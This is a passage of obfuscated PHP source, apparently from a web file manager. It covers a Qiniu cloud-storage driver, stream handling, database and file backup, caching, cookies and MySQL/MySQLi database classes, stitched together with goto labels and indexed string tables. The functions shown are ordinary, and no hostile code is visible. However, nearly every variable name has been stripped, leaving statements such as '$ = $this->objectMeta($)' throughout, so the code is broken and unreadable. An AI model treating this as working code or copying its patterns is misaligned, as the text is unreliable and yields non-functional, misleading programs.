|| $ == $[8]) { return !0; } $ = array($[1491] => $[8], $[1492] => rtrim($, $[8]) . $[8], $[1493] => 1, $[1494] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '', $ = false) { $ =& $_SERVER[]; $ = in_array(ACTION, array($[213], $[214])); if (!$ && !GLOBAL_DEBUG) { return; } $ = 0; if (stripos($, $[1517]) !== !1) { $ = 1; $ = explode($[1518], $); $ = !empty($[1]) ? $[1] : $; } else { if (stripos($, $[1519])) { $ = 2; $ = explode($[1519], $); $ = explode($[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($ && I18n::getType() == $[1520]) { if ($ == 1) { $ = str_replace($[1521], $[1522], $); } else { if ($ == 2) { $ = explode($[215], $[0]); $ = isset($[1]) ? $[1] : $[12]; $ = array($[1523] => $[1524], $[1525] => $[1526], $[1527] => $[1528], $[1529] => $[1530], $[1531] => $[1532], $[1533] => $[1534], $[1535] => $[1536], $[1537] => $[1538], $[1539] => $[1540], $[1541] => $[1542]); if (isset($[$])) { $ = $[$]; } } } if (stripos($, $[1543])) { $ = $[1544]; } } if (!trim($)) { return; } parent::writeLog(trim($), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1545]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1546] . LNG($[1482])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $ = get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $); if (!$) { return !0; } return $->code() == 612 ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[231] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($); if ($) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[233], $[79] => isset($[$[1547]]) ? $[$[1547]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[237]]) && $[$[237]]) { $[$[238]] = $[$[237]]; } if (isset($[$[248]]) && $[$[248]]) { $[$[238]] = $[$[248]]; } if (isset($[$[1548]])) { $[$[88]] = substr($[$[1548]] . $[12], 0, 10); } if (isset($[$[1547]])) { $[$[79]] = $[$[1547]]; } return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (isset($[$[1548]])) { $[$[88]] = substr($[$[1548]] . $[12], 0, 10); } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->folderInfo($, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($[$[32]], $, $); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1494], $) ? $ = $[$[1549]] : $[12]; if ($) { if (!empty($[$[1550]])) { $ += count($[$[1550]]); } if (!empty($[$[1551]])) { $ += count($[$[1551]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1550]])) { return !0; } } else { if (!empty($[$[1551]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[242] => $, $[243] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1494], $) ? $ = $[$[1549]] : $[12]; $ = isset($[$[1550]]) ? $[$[1550]] : array(); $ = isset($[$[1551]]) ? $[$[1551]] : array(); foreach ($ as $) { if ($[$[97]] == $) { continue; } $ = $[$[97]]; $ = $[$[1547]]; $[$[32]] = $; $[$[79]] = $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ : $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $) = $->refreshUrls($); if ($) { return !1; } return $[$[1280]] == $[849] ? !0 : !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1552] . $ . $[474] . $); } $ = url_request($, $[1513], !1, $); return $[$[840]] ? $[$[1303]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $) = $->putFile($, $, $, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function uploadMultiData($, $ = 3600) { return $this->uploadToken($, $); } private function uploadToken($, $ = 3600) { $ =& $_SERVER[]; $ = $; $ = array($[1553] => $[1554]); $ = $; $ = $this->auth->uploadToken($this->bucket, $, $, $, !0); $ = empty($this->region) || $this->region == $[1555] ? $[12] : $[474] . $this->region; $ = http_type() . "://upload{$}.qiniup.com/"; return array($[1556] => $, $[1557] => $); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1558]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? $[1559] . rawurlencode($) : $[12]; $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } $ = $this->link($, $_SERVER[][1560] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$[248]]) ? $[$[248]] : !1; $ = $this->link($, $[1561]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][180], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][182], $); } protected function _objectMeta($) { $ =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[79]] = intval($[$[1547]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1550]]) || !empty($[$[1551]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $) { $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($, $ = 0) { $ = new PathDriverStream($, $); return $->hashSimple($); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($); } } goto D; C: class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); $ = $[$[32]]; $ = $this->tmpFilesPath() . "backup_{$}/"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { Backup::log($[890] . $); return !1; } $ = IO::listPath($); $ = isset($[$[86]]) ? $[$[86]] : array(); $ = array_sum(array_column($, $[79])); if (!$) { Backup::log($[891] . $); return !1; } $ = array($[892] => $, $[893] => time()); Backup::set($); $ = new TaskFileTransfer($[894], $[867], count($), LNG($[876]) . $[474] . LNG($[878]) . $[895]); $->task[$[853]] = $; foreach ($[$[86]] as $) { $ = IO::move($[$[87]], $); if (!$) { $->end(); $ = IO::getLastError($[896] . $[$[87]] . $[897] . $ . $[178]); Backup::log($); return !1; } } $ = new DbManage(); $ = $->getSqlFile(); if (!$[$[898]] || !$[$[13]]) { Backup::log($[899]); return !1; } IO::move($[$[898]], $); IO::move($[$[13]], $); $->end(); $ = array($[900] => $, $[901] => time()); Backup::set($); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[860])->get($[861]); $ = substr(md5($[862] . $ . $), 0, 8); return "{io:{$[$[842]]}}/database/backup/" . $ . $[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[888]]) { $ = $GLOBALS[$[6]][$[92]][$[888]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[889])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][380]][$_SERVER[][233]][$_SERVER[][555]]; $ = array($_SERVER[][556] => array($_SERVER[][902], $), $_SERVER[][903] => array($_SERVER[][418], $[$_SERVER[][842]])); $ = (int) Model($_SERVER[][881])->where($)->count($_SERVER[][555]); $ = (int) Model($_SERVER[][881])->where($)->sum($_SERVER[][79]); $ = new TaskFileTransfer($_SERVER[][904], $_SERVER[][867], $, LNG($_SERVER[][876]) . $_SERVER[][877] . LNG($_SERVER[][905])); $->task[$_SERVER[][853]] = $; $ = array($_SERVER[][906] => $, $_SERVER[][907] => $, $_SERVER[][908] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $ = 1000; $ = $ = 0; $ = array(); $ = $ = 0; do { $ = $_SERVER[][909]; $ = Model($_SERVER[][881])->where($)->field($)->order($_SERVER[][910])->selectPage($, $); $ = !empty($[$_SERVER[][457]]) ? $[$_SERVER[][457]] : array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { Backup::log($_SERVER[][911] . $[$_SERVER[][555]] . $_SERVER[][912] . $[$_SERVER[][87]]); continue; } $ = $[$_SERVER[][87]]; $ = "{io:{$[$_SERVER[][842]]}}" . substr($, strlen("{io:{$[$_SERVER[][913]]}}")); if (IO::exist($)) { $->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][914])) { Backup::log($_SERVER[][915] . $ . $_SERVER[][897] . $ . $_SERVER[][178]); $ = !1; break; } } $ = $[$_SERVER[][555]]; $ += 1; $ += $[$_SERVER[][79]]; $ += 1; $ += $[$_SERVER[][79]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][841] => $, $_SERVER[][916] => $, $_SERVER[][917] => $); Backup::set($); $ = $ = 0; } } $ = count($); $++; } while ($ == $); $->end(); $ = array($_SERVER[][918] => 1, $_SERVER[][851] => time(), $_SERVER[][865] => 1, $_SERVER[][841] => $, $_SERVER[][919] => time()); if ($) { $[$_SERVER[][916]] = $; $[$_SERVER[][917]] = $; } Backup::set($); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[]; $ = $[$[87]]; if (in_array($[$[555]], $)) { return !1; } if (!in_array($[$[913]], $)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$[555]]; return !1; } $ = array($[913] => $[$[913]], $[87] => array($[471], "{$}%")); $ = Model($[881])->where($)->field($[556])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[555])); return !1; } private function _fileFilter($) { $ =& $_SERVER[]; return; if (empty($)) { return; } $ = array($[555] => array($[7], array_unique($))); $ = Model($[920])->where($)->field($[194])->select(); foreach ($ as $) { Model($[920])->remove($[$[194]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[857])->listData(); $ = array(); $ = $GLOBALS[$[6]][$[92]][$[921]]; foreach ($ as $) { $ = strtolower($[$[98]]); if (!isset($[$])) { continue; } $ = $[77] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { continue; } $[] = $[$[487]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[436]]; $ = $[$[$[922]]]; $ = $[$[923]]; switch ($[$[922]]) { case $[21]: self::$handle = Model($[924]); break; case $[925]: self::$handle = new CacheRedis($, $); break; case $[926]: self::$handle = new CacheMemcached($, $); break; case $[233]: self::$handle = new CacheFile($, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $ = self::key($); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ = $->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $, $ = false) { $ =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $ = serialize($); CacheLock::lock($ . $[927]); $ = $->set($, $, $); self::$memoryCache[$] = $; CacheLock::unlock($ . $[927]); return $; } public static function getCall($, $, $, $ = array()) { $ =& $_SERVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $); $ = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($) { $ = self::key($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock::unlock($); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][928])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][929])) { self::init()->clearTimeout(); } } } goto e; A: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ = 0) { if (is_string($) && $ != $_SERVER[][12]) { $this->prefix = $; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $, $ = 0, $ = false, $ = false) { $ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $) { return; } self::$sameCookieSet[$] = $ . $; if (!$) { $ = str_replace(HOST, $[12], APP_HOST); $ = _get($GLOBALS, $[976], $); } $ = $[12]; setcookie($, $, time() + $, $[8] . trim($, $[8]) . $, !1, !1, $); } public static function setSafe($, $, $ = 0) { self::set($, $, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[977]]) || !$_SERVER[$[977]]) { return; } $ = explode($[74], $_SERVER[$[977]]); foreach ($ as $) { $ = explode($[518], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[898])) { think_exception(think_lang($[14]) . $[978]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = $[$[979]] . ($[$[980]] ? ":{$[$[980]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($, $[$[981]], $[$[982]], 131072); } else { $this->linkID[$] = mysql_connect($, $[$[981]], $[$[982]], !0, 131072); } if (!$this->linkID[$] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($[983] . think_config($[984]) . $[58], $this->linkID[$]); if ($ > $[985]) { mysql_query($[986], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; if (0 === stripos($, $[353])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][987], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][988], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][989], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[990] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[991]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[992] . $ . $[993]; } else { $ = $[994]; } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[995] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[997] . implode($[50], $) . $[998]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[349] . implode($[50], $) . $[998]; } array_walk($, array($this, $[999])); $ = ($ ? $[1000] : $[1001]) . $[1002] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[1003] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[223] && !preg_match($[1004], $)) { $ = $[473] . trim($, $[473]) . $[473]; } return $; } } class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[1005])) { think_exception(think_lang($[14]) . $[1006]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[979]], $[$[981]], $[$[982]], $[$[21]], $[$[980]] ? intval($[$[980]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[983] . think_config($[984]) . $[58]); if ($ > $[985]) { $this->linkID[$]->query($[986]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->query($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[990] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = !empty($) ? $[992] . $ . $[993] : $[994]; $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $[$] = current($); } } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[995] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[997] . implode($[50], $) . $[998]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[349] . implode($[50], $) . $[998]; } array_walk($, array($this, $[999])); $ = $ ? $[1000] : $[1001]; $ = $ . $[1002] . $this->parseTable($[$[368]]) . $[996] . implode($[50], $) . $[1003] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[223] && !preg_match($[1004], $)) { $ = $[473] . trim($, $[473]) . $[473]; } return $; } } goto C; d: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[][3]] = (base64_decode('ODYxOA==')."47")+0;$_vheo="zg8px1tuobnkjl9va4edws5fic2m76yh3rq0obx5f8z7ac096t3verpmjwdlsh2gy1kqi";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}() not exist;", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $) { 